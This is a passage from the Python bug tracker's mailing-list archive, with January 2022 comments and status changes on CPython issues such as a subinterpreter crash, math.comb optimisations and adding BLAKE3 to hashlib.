In-Reply-To: <1641672749.81.0.761758582979.issue46307@roundup.psfhosted.org> Message-ID: <1642025541.57.0.494451405514.issue46307@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:36:01 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 22:36:01 +0000 Subject: [issue36854] GC operates out of global runtime state. In-Reply-To: <1557334825.47.0.818401533303.issue36854@roundup.psfhosted.org> Message-ID: <1642026961.72.0.0148338472389.issue36854@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28764 pull_request: https://github.com/python/cpython/pull/30564 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:41:11 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 22:41:11 +0000 Subject: [issue36557] [doc] Clarify the meaning of /uninstall in windows cli In-Reply-To: <1554726023.31.0.350138244198.issue36557@roundup.psfhosted.org> Message-ID: <1642027271.78.0.173194266692.issue36557@roundup.psfhosted.org> Irit Katriel added the comment: This is referring to Doc/using/windows.rst ---------- assignee: -> docs at python components: +Documentation keywords: +easy nosy: +docs at python, iritkatriel title: Python (Launcher)3.7.3 CMDLine install/uninstall -> [doc] Clarify the meaning of /uninstall in windows cli versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:45:16 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 22:45:16 +0000 Subject: [issue37422] Documentation on the change of __path__ in Python 3 In-Reply-To: <1561592764.17.0.159166057812.issue37422@roundup.psfhosted.org> Message-ID: <1642027516.9.0.799970740913.issue37422@roundup.psfhosted.org> Irit Katriel added the comment: >From the discussion is seems like there is nothing that needs to be added to the docs. I will close this in a while if nobody objects. ---------- nosy: +iritkatriel status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:50:40 2022 From: report at bugs.python.org (Brandt Bucher) Date: Wed, 12 Jan 2022 22:50:40 +0000 Subject: [issue46361] Small ints aren't always cached properly Message-ID: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> New submission from Brandt Bucher : To my surprise, it seems that it's possible to create "small" integers that should live in _PyLong_SMALL_INTS, but don't. Here are two examples I've found: >>> import decimal >>> i = int(decimal.Decimal(42)) # Modules/_decimal/_decimal.c:dec_as_long >>> i 42 >>> i is 42 :1: SyntaxWarning: "is" with a literal. Did you mean "=="? False >>> i = int.from_bytes(bytes([42])) # Objects/longobject.c:_PyLong_FromByteArray >>> i 42 >>> i is 42 :1: SyntaxWarning: "is" with a literal. Did you mean "=="? False I'm not entirely sure if this is "allowed" or not, but in any case it seems beneficial to reach into the small ints here (provided it doesn't hurt performance, of course). I'm testing out simple fixes for both of these now. ---------- assignee: brandtbucher components: Interpreter Core messages: 410437 nosy: brandtbucher priority: normal severity: normal status: open title: Small ints aren't always cached properly type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:54:32 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 22:54:32 +0000 Subject: [issue37591] test_concurrent_future failed In-Reply-To: <1563106770.47.0.449024295444.issue37591@roundup.psfhosted.org> Message-ID: <1642028072.09.0.783723880685.issue37591@roundup.psfhosted.org> Irit Katriel added the comment: Thanks for reporting, but 3.7 is no longer maintained so it's unlikely that anyone will investigate this anymore. Please create a new issue if you are seeing this on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 17:55:31 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 22:55:31 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1642028131.85.0.19480734653.issue32996@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:01:53 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:01:53 +0000 Subject: [issue36854] GC operates out of global runtime state. In-Reply-To: <1557334825.47.0.818401533303.issue36854@roundup.psfhosted.org> Message-ID: <1642028513.04.0.163452882746.issue36854@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28765 pull_request: https://github.com/python/cpython/pull/30565 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:02:12 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:02:12 +0000 Subject: [issue36854] GC operates out of global runtime state. In-Reply-To: <1557334825.47.0.818401533303.issue36854@roundup.psfhosted.org> Message-ID: <1642028532.81.0.277225667623.issue36854@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28766 pull_request: https://github.com/python/cpython/pull/30566 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:03:25 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 23:03:25 +0000 Subject: [issue37595] Python 3.7.4 does not build on Raspbian Buster with optimizations In-Reply-To: <1563155199.46.0.613653313897.issue37595@roundup.psfhosted.org> Message-ID: <1642028605.39.0.484346881726.issue37595@roundup.psfhosted.org> Irit Katriel added the comment: Closed issue38204 as a duplicate of this. I don't know whether the problem still exists in current python versions. ---------- nosy: +iritkatriel title: Python 3.7.4 does not build on Raspbian Buster -> Python 3.7.4 does not build on Raspbian Buster with optimizations _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:04:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 Jan 2022 23:04:07 +0000 Subject: [issue38204] Cannot compile on RPi with optimizations In-Reply-To: <1568757908.38.0.366967403928.issue38204@roundup.psfhosted.org> Message-ID: <1642028647.29.0.43863258974.issue38204@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Python 3.7.4 does not build on Raspbian Buster with optimizations _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:19:22 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 12 Jan 2022 23:19:22 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642029562.75.0.425629230923.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: ISTM that the asymptotic benefits of Karatsuba multiplication are mostly lost when each of the factors has to be built-up recursively prior to the multiply. Also, the benefits of Karatsuba only start to appear at around 400-bit numbers. For us, we don't get there until comb(400, 200). Even there, almost all of the multiplications are with smaller values that get no benefit at all from Karatsuba multiplication. IOW, I don't think Karatsuba multiplication has been helping at all. More likely, the improvement came from a reduced number of divisions. The depth issue is a red herring. The fixed j approach is only used up to n=235.? The largest input, comb(235, 117), recurses only five levels C(215,97), C(195,77), C(175,57), C(155,37), C(135,17) before handing off to the j=k//2 algorithm. Five levels of width one is so inexpensive that it isn't worth talking about, especially when considering how many PyLong multiplies and divides are saved.? ? Jlim = 235 in the posted comb_pole.py. I've since changed the span of precomputed combinations to C(n, 20) where 87 ? n ? 250. ? See the trace in the previous post showing a seven-fold reduction in the number of PyLong multiply and divide operations. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:26:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:26:39 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642029999.44.0.762976465519.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28767 pull_request: https://github.com/python/cpython/pull/30564 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:26:43 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:26:43 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642030003.04.0.962969714693.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28768 pull_request: https://github.com/python/cpython/pull/30565 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:26:46 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:26:46 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642030006.93.0.43733176133.issue46070@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +28769 pull_request: https://github.com/python/cpython/pull/30566 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:28:55 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 23:28:55 +0000 Subject: [issue45953] Statically allocate interpreter states as much as possible. In-Reply-To: <1638384639.14.0.97360024283.issue45953@roundup.psfhosted.org> Message-ID: <1642030135.6.0.500202875109.issue45953@roundup.psfhosted.org> Eric Snow added the comment: New changeset ed57b36c32e521162dbb97199e64a340d3bff827 by Eric Snow in branch 'main': bpo-45953: Statically allocate the main interpreter (and initial thread state). (gh-29883) https://github.com/python/cpython/commit/ed57b36c32e521162dbb97199e64a340d3bff827 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:31:33 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 Jan 2022 23:31:33 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642030293.65.0.84250218908.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I prepared 3 pull requests to revert the commit 7247407c35330f3f6292f1d40606b7ba6afd5700: * PR 30564: main branch * PR 30565: 3.10 branch * PR 30566: 3.9 branch The problem is that the "Check if the ABI has changed" CI job fails in 3.9 and 3.10 branches. I recently had the issue for a different revert in bpo-46006: I decided to keep the "removed" member, and mark it as "unused". See the commit 72c260cf0c71eb01eb13100b751e9d5007d00b70 in the 3.10 branch: struct _Py_unicode_state { (...) - PyObject *interned; + // Unused member kept for ABI backward compatibility with Python 3.10.0: + // see bpo-46006. + PyObject *unused_interned; (...) } I can keep the "gc" member in PyInterpreterState, but adding a new "gc" member in the _PyRuntimeState structure also causes the ABI CI check to fail. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:36:00 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 12 Jan 2022 23:36:00 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642030560.98.0.748499460882.issue46345@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28771 pull_request: https://github.com/python/cpython/pull/30568 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:36:01 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 12 Jan 2022 23:36:01 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642030561.16.0.896820381087.issue46345@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 1de60155d5d01be2924e72fb68dd13d4fd00acd7 by Nikita Sobolev in branch 'main': bpo-46345: Add a test case for implicit `Optional` class attribute (GH-30535) https://github.com/python/cpython/commit/1de60155d5d01be2924e72fb68dd13d4fd00acd7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:35:56 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 12 Jan 2022 23:35:56 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642030556.18.0.439776813484.issue46345@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28770 pull_request: https://github.com/python/cpython/pull/30567 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:41:19 2022 From: report at bugs.python.org (Eric Snow) Date: Wed, 12 Jan 2022 23:41:19 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642030879.94.0.976513602484.issue46070@roundup.psfhosted.org> Eric Snow added the comment: > adding a new "gc" member in the _PyRuntimeState structure also causes the ABI CI check to fail. What if you move it to the end of the struct? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 18:59:10 2022 From: report at bugs.python.org (Anders Kaseorg) Date: Wed, 12 Jan 2022 23:59:10 +0000 Subject: [issue9334] argparse does not accept options taking arguments beginning with dash (regression from optparse) In-Reply-To: <1279836939.11.0.811316280273.issue9334@psf.upfronthosting.co.za> Message-ID: <1642031950.97.0.0475295597321.issue9334@roundup.psfhosted.org> Anders Kaseorg added the comment: > While optparse that it isn't being developed further, therebut will not > be taken away. IIRC the reason for this was that it too had become > difficult to build out and that is what necessitated the creation of > argparse -- there wasn't clean way to add the desired features > (subparsers, actions, etc). My concern is not that optparse will be taken away. My concern is that the documentation incorrectly discourages its use. https://docs.python.org/3/library/optparse.html ?Deprecated since version 3.2: The optparse module is deprecated and will not be developed further; development will continue with the argparse module.? Given that the apparent conclusion of this bug is that argparse has also become too difficult to fix, either argparse should be deprecated for exactly the same reason, or optparse should be un-deprecated. Most programs don?t need the extra features of argparse, and optparse doesn?t have this bug, so optparse is a better default choice; the documentation should not be encouraging argparse over it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:01:23 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 00:01:23 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642032083.13.0.94957217581.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I modified PR 30565 (3.10) and PR 30566 (3.9) to fix the ABI. I added _PyGC_GetState() which always use PyInterpreterState.gc of the main interpreter. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:01:38 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 Jan 2022 00:01:38 +0000 Subject: [issue46361] Small ints aren't always cached properly In-Reply-To: <1642027840.32.0.139240461948.issue46361@roundup.psfhosted.org> Message-ID: <1642032098.46.0.311326749956.issue46361@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:08:19 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 13 Jan 2022 00:08:19 +0000 Subject: [issue46070] [subinterpreters] crash when importing _sre in subinterpreters in parallel (Python 3.9 regression) In-Reply-To: <1639479470.16.0.0957612092108.issue46070@roundup.psfhosted.org> Message-ID: <1642032499.35.0.630635902613.issue46070@roundup.psfhosted.org> STINNER Victor added the comment: I wrote 3 scripts to reproduce the bug in a more reliable way. So I just have to type "bisect" and it runs the test 12 times. (1) bisect.bat: --- @"C:\vstinner\python\3.9\PCbuild\amd64\python_d.exe" bisect.py --- (2) bisect.py: --- import subprocess import os import sys BISECT = False def run(*args): print("+ ", ' '.join(args)) env = dict(os.environ) env['PYTHONFAULTHANDLER'] = '1' proc = subprocess.run(args, env=env) exitcode = proc.returncode if exitcode: print() print(f"COMMAND FAILED: {exitcode}") if BISECT: print() print("type: git bisect bad") sys.exit(exitcode) python = sys.executable #script = "win_py399_crash_reproducer.py" script = "bug.py" nrun = 12 for i in range(1, nrun+1): print(f"Run #{i}/{nrun}") if i % 2: run(python, script) else: run(python, "-X", "dev", script) if BISECT: print() print("Not reproduced") print() run("git", "checkout", ".") run("git", "bisect", "good") --- (3) win_py399_crash_reproducer.py (import "_sre"): --- # When this program is run on windows using python 3.9.9 it crashes about 50% # of the time. import _testcapi import threading code = """ import _sre print("exit subinterpreter") """ def doIt(): _testcapi.run_in_subinterp(code) tt=[] for i in range(16): t = threading.Thread(target=doIt) t.start() tt.append(t) for t in tt: t.join() print("exit main") --- Example: --- vstinner at DESKTOP-DK7VBIL C:\vstinner\python\3.9>bisect Run #1/12 + C:\vstinner\python\3.9\PCbuild\amd64\python_d.exe bug.py Run #2/12 + C:\vstinner\python\3.9\PCbuild\amd64\python_d.exe -X dev bug.py Run #3/12 + C:\vstinner\python\3.9\PCbuild\amd64\python_d.exe bug.py Windows fatal exception: access violation (...) Current thread 0x00000420 (most recent call first): File "C:\vstinner\python\3.9\bug.py", line 13 in doIt File "C:\vstinner\python\3.9\lib\threading.py", line 910 in run File "C:\vstinner\python\3.9\lib\threading.py", line 973 in _bootstrap_inner File "C:\vstinner\python\3.9\lib\threading.py", line 930 in _bootstrap (...) COMMAND FAILED: 3221225477 --- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:08:25 2022 From: report at bugs.python.org (Jakub Wilk) Date: Thu, 13 Jan 2022 00:08:25 +0000 Subject: [issue5396] os.read not handling O_DIRECT flag In-Reply-To: <1235847751.77.0.558509867366.issue5396@psf.upfronthosting.co.za> Message-ID: <1642032505.22.0.990625443956.issue5396@roundup.psfhosted.org> Change by Jakub Wilk : ---------- nosy: +jwilk _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:23:59 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 Jan 2022 00:23:59 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642033439.14.0.792686363063.issue37295@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- Removed message: https://bugs.python.org/msg410440 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 19:26:50 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 13 Jan 2022 00:26:50 +0000 Subject: [issue37295] Possible optimizations for math.comb() In-Reply-To: <1560626260.31.0.393863097125.issue37295@roundup.psfhosted.org> Message-ID: <1642033610.11.0.314357259857.issue37295@roundup.psfhosted.org> Raymond Hettinger added the comment: Okay, will set a cap on the n where a fixedj is used. Also, making a direct computation for k<20 is promising. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 20:45:57 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 01:45:57 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642038357.27.0.189872244748.issue46345@roundup.psfhosted.org> miss-islington added the comment: New changeset a468866a67d83a24e3a3c3a0070129773d28bbd9 by Miss Islington (bot) in branch '3.10': bpo-46345: Add a test case for implicit `Optional` class attribute (GH-30535) https://github.com/python/cpython/commit/a468866a67d83a24e3a3c3a0070129773d28bbd9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 20:46:38 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 13 Jan 2022 01:46:38 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642038398.74.0.132482874646.issue46345@roundup.psfhosted.org> miss-islington added the comment: New changeset d9101c4e49dc29f21319493818130ad5468402a2 by Miss Islington (bot) in branch '3.9': bpo-46345: Add a test case for implicit `Optional` class attribute (GH-30535) https://github.com/python/cpython/commit/d9101c4e49dc29f21319493818130ad5468402a2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 21:08:50 2022 From: report at bugs.python.org (Jack O'Connor) Date: Thu, 13 Jan 2022 02:08:50 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1642039730.23.0.561605338661.issue39298@roundup.psfhosted.org> Jack O'Connor added the comment: I was about to say the only missing feature was docstrings, but then I realized I hadn't included releasing the GIL. I've added that and pushed an update just now. Fingers crossed there's nothing else I've missed. I think it's in reasonably good shape, and I'd like to propose it for inclusion in 3.11. However, I'm not very experienced with setup.py or the Python C API, so I might not be the best judge of shape. Here are some highlights for reviewers, where I think the implementation (mostly the build) could be shaky: - Platform detection. In setup.py I assume that the target platform of the build is the same as the current interpreter's platform. So for example, if the current interpreter has sys.maxsize==2**31-1, I assume we're compiling for 32-bit. This clearly doesn't allow for any sort of cross-compilation, and in general I need feedback about whether there's a more correct way to obtain the target platform. - Compiling assembly files. On Unix this is easy, because we can supply *.S files as `extra_objects` and GCC/Clang will do the right thing. But on Windows this isn't easy. Currently I shell out to vswhere.exe, ask it for the path to the latest version of the ml64.exe assembler, and then shell out to that to build .obj files. Then I pass those assembled .obj files as `extra_objects`. This feels awfully manual, and there's a good chance I've missed some better-supported way to do it. I assume we don't want to check in the .obj files? - Does Python support the GNU ABI on Windows? We have assembly files for this in vendor/, but I'm not currently building them. - Compiling intrinsics files for 32-bit x86. In this case, I create a `ccompiler.new_compiler()` for each intrinsics file, so that I can set the appropriate flags for each. This is relatively clean, but it leads to things getting rebuilt every single time, rather than participating in `setup.py build` caching. Maybe nobody cares about this, but again it makes me think there might be a better-supported way to do it. - blake3module.c contains an awful lot of gotos to handle allocation failure cases. Is this still considered a best practice? These are bug-prone, and I'm not sure how to test them. - Existing hashlib implementations include an optimization where they avoid allocating an internal mutex until they see a long input and want to release the GIL. As a quirky side effect of this, they handle allocation failures for that mutex by falling back to the do-not-release-the-GIL codepath. That feels kind of complicated to me, and in my code I'm always allocating the mutex during initialization. This doesn't seem to make much of a performance difference when I measure it, but there might be use cases I haven't considered. Here are some other API details that might be worth bikeshedding: - The `max_threads` parameter is currently defined to take a special value, `blake3.AUTO`, to indicate that the implementation may use as many threads as it likes. (The C implementation doesn't include multithreading support, but it's API-compatible with the Rust implementation.) `blake3.AUTO` is currently a class attribute equal to -1. We may want to bikeshed this name or propose some other representation. - BLAKE3 has three modes: regular hashing, keyed hashing, and key derivation. The keyed hashing mode takes a 32-byte key, and the key derivation mode takes a context string. Calling the 32-byte key `key` seems good. Calling the context string `context` seems less good. Larry has pointed out before that lots of random things are called `context`, and readers might not understand what they're seeing. I currently call it `derive_key_context` instead, but we could bikeshed this. - I check `itemsize` on input Py_buffers and throw an exception if it's anything other than 1. My test suite exercises this, see `test_int_array_fails`. However, some (all?) standard hashes don't do this check. For example: >>> from hashlib import sha256 >>> import array >>> a = array.array("i", [255]) >>> sha256(a).hexdigest() '81ff65efc4487853bdb4625559e69ab44f19e0f5efbd6d5b2af5e3ab267c8e06' >>> sha256(bytes([0xff, 0, 0, 0])).hexdigest() '81ff65efc4487853bdb4625559e69ab44f19e0f5efbd6d5b2af5e3ab267c8e06' Here we can see sha256() hashing an array of int. On my machine, an int is 4 little-endian bytes, but of course this sort of thing isn't portable. The same array will result in a different SHA-256 output on a big-endian machine, or on a machine with ints of a different size. This seems undesirable, and I'm surprised that hashlib allows it. However, if there's some known compatibility reason why we have to allow it, I could remove this check. ---------- versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 21:20:15 2022 From: report at bugs.python.org (Larry Hastings) Date: Thu, 13 Jan 2022 02:20:15 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1642040415.78.0.533983231075.issue39298@roundup.psfhosted.org> Larry Hastings added the comment: > In setup.py I assume that the target platform of the build is the same as the current interpreter's platform. If this is included in CPython, it won't be using setup.py, so this isn't a concern. I don't think there's a way to use setup.py to cross-compile, so I'm not sure this ever was a concern. > - Compiling assembly files. AFAICT Python currently ships exactly one assembly file, "Modules/_decimal/libmpdec/vcdiv64.asm", which is only built on Windows. It would be a brave new world of configure.ac hacking to build assembly language files on POSIX platforms. As a first pass I say we merge the reference C implementation. Maybe someday we could add the SIMD assembly language stuff--or use the one built in to OpenSSL (if they ever add BLAKE3). > I assume we don't want to check in the .obj files? Correct, we don't. > - blake3module.c contains an awful lot of gotos to handle allocation failure cases. Works for me, please keep it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 21:38:54 2022 From: report at bugs.python.org (Jack O'Connor) Date: Thu, 13 Jan 2022 02:38:54 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1642041534.71.0.40569520761.issue39298@roundup.psfhosted.org> Jack O'Connor added the comment: > As a first pass I say we merge the reference C implementation. Do you mean portable-only C code, or portable + intrinsics? If the assembly files are out, I'd advocate for the latter. The intrinsics implementations are nearly as fast as the assembly code, and both of those are several times faster than the portable code. You can test this configuration with my current setup.py by setting the env var FORCE_INTRINSICS=1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 21:47:05 2022 From: report at bugs.python.org (Larry Hastings) Date: Thu, 13 Jan 2022 02:47:05 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1642042025.79.0.792717729855.issue39298@roundup.psfhosted.org> Larry Hastings added the comment: I assume by "intrinsics" you mean using the GCC SIMD stuff, not like inlining memcpy() or something. My assumption is yes, that's fine, we appear to already be using them for BLAKE2. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 21:59:58 2022 From: report at bugs.python.org (Jack O'Connor) Date: Thu, 13 Jan 2022 02:59:58 +0000 Subject: [issue39298] add BLAKE3 to hashlib In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org> Message-ID: <1642042798.26.0.647025009412.issue39298@roundup.psfhosted.org> Jack O'Connor added the comment: Yeah by intrinsics I mean stuff like _mm256_add_epi32(). All of that stuff is in these vendored files: blake3_avx2.c blake3_avx512.c blake3_neon.c blake3_sse2.c blake3_sse41.c Also to Micha?'s question above, I'm not necessarily opposed to publishing something like "blake3-c" on PyPI once things stabilize. Even if we get BLAKE3 into hashlib in 3.11, PyPI modules will be useful to folks running older versions, and not everyone wants to install the Rust toolchain. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:08:54 2022 From: report at bugs.python.org (neonene) Date: Thu, 13 Jan 2022 03:08:54 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows Message-ID: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> New submission from neonene : 3.11a3+ introduced the C version of abspath(), which shows incompletely normalized absolute path (see msg410068): >>> os.path.abspath(r'\\spam\\eggs. . .') '\\\\spam\\\\eggs. . .' >>> os.path.abspath('C:\\spam. . .') 'C:\\spam. . .' >>> os.path.abspath('C:\\nul') 'C:\\nul' The design is efficient on startup with getpath_abspath(), but ntpath.abspath()'s result after startup should be more normalized. ---------- components: Windows messages: 410456 nosy: neonene, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: os.path.abspath() needs more normalization on Windows type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:11:20 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 13 Jan 2022 03:11:20 +0000 Subject: [issue46345] Add an explicit test for `get_type_hints` for a class field with `None` default In-Reply-To: <1641913970.52.0.234294828111.issue46345@roundup.psfhosted.org> Message-ID: <1642043480.97.0.554257658592.issue46345@roundup.psfhosted.org> Dong-hee Na added the comment: When I take a look at previous PRs, most of adding test cases were not backported. The backported cases were triggered by bug issues. But let's pass this case as an exceptional case. ---------- nosy: +corona10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:12:35 2022 From: report at bugs.python.org (neonene) Date: Thu, 13 Jan 2022 03:12:35 +0000 Subject: [issue46362] os.path.abspath() needs more normalization on Windows In-Reply-To: <1642043334.67.0.821615538751.issue46362@roundup.psfhosted.org> Message-ID: <1642043555.42.0.0699346062264.issue46362@roundup.psfhosted.org> Change by neonene : ---------- keywords: +patch pull_requests: +28772 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30571 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 22:34:16 2022 From: report at bugs.python.org (neonene) Date: Thu, 13 Jan 2022 03:34:16 +0000 Subject: [issue46287] UNC path normalisation issues on Windows In-Reply-To: <1641497800.1.0.236156717354.issue46287@roundup.psfhosted.org> Message-ID: <1642044856.23.0.101878738941.issue46287@roundup.psfhosted.org> neonene added the comment: > PathCchSkipRoot() doesn't recognize forward slash as a path separator, I opened issue46362 and PR30571 about the mentioned abspath() behaviors. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 12 